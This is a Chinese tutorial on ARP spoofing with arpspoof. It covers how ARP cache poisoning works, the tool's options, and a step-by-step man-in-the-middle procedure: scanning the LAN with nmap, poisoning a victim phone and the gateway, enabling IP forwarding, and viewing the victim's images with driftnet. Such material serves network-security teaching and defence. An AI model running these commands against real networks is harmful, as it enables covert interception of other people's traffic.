[ ARP攻击_arpspoof ]
简介
arpspoof通过伪造ARP应答,将LAN上一个目标主机(或者所有主机)的数据包重定向到另一个主机。这是一种非常有效的嗅探开关上流量的方法。
当攻击主机A向收攻击主机B发起ARP欺骗攻击时,主机B访问本地局域网或访问其他外部网络的流量将自动转发到A主机,A主机开启wireshark抓包工具即可获取转发来的流量而实现网络监听的目的。
常见的arpspoof工具一般运行在Linux环境
原理
两台主机A 和 B想要进行通信的流程,那么主机A将需要知道自己的IP,MAC 以及主机B的IP, MAC。但是主机B的MAC地址主机A是不知道的,所以主机A如果将他自己的IP与子网掩码进行 & 与运算得到一个IP1, 然后将主机B的IP与这个子网掩码进行相同运算得到一个IP2, 如果IP1等于IP2, 那么此时A与B属于同一子网。否则不属于一个子网。每台计算机都有一个ARP缓存表,缓存表里面对应的有每一个IP地址对应的MAC地址 (MAC地址是指定计算机的标识,计算机会通过MAC地址进行通信) ,这个MAC地址是主机在和其他主机ARP通信时候的缓存,会时时刷新。
也就是说,我们伪造一个数据包,受害者被我们的数据包欺骗,得到攻击者的MAC地址,受害者就会根据ARP找到攻击者的MAC,认为攻击机就是网关,会把他上网的信息交给攻击机,这个时候攻击机有两种选项,拦截数据包,照成断网操作,也可以开启转发,看着受害者都干了些什么。
使用
语法
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
参数
-i interface指定要使用的接口
-c own|host|both指定范围own|host|both(自己|主机|两者)
-t target指定一台特定主机进行ARP中毒(如果未指定,则为LAN上的所有主机)
-r 毒害两个主机(主机和目标)以捕获两个方向的流量(仅对-t有效)
host 指定你希望拦截数据包的host(通常是本地网关)
ARP欺骗流程
-
先嗅探一下局域网的活动主机nmap -sS -PR 192.168.0.0/24
-
打开一个终端,针对其中的一个IP Arpspoof -i wlan0 -t 192.168.0.105 192.168.0.1,使目标流量经过自己的网卡。
192.168.0.1网关的IP地址。
192.168.0.105是被攻击主机的IP(这里是一台手机)。
-
打开另一个终端echo1>/proc/sys/net/ipv4/ip_forward 进行IP流量转发
192.168.0.1网关的IP地址。
192.168.0.110是攻击主机的IP地址。
-
再打开一个终端driftnet –i wlan0
然后就可以中间人监听了,被攻击者(手机)打开一张图片时,攻击者就能看到被攻击手机打开的图片。
示例
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
192.168.1.10为攻击目标的IP,192.168.1.1为攻击目标的网关
备注
如进行欺骗,需要开启端口转发功能
echo 1>/proc/sys/net/ipv4/ip_forward
1、1代表开启,0代表关闭,默认是0
2、这个只是临时开启端口转发功能,重启后恢复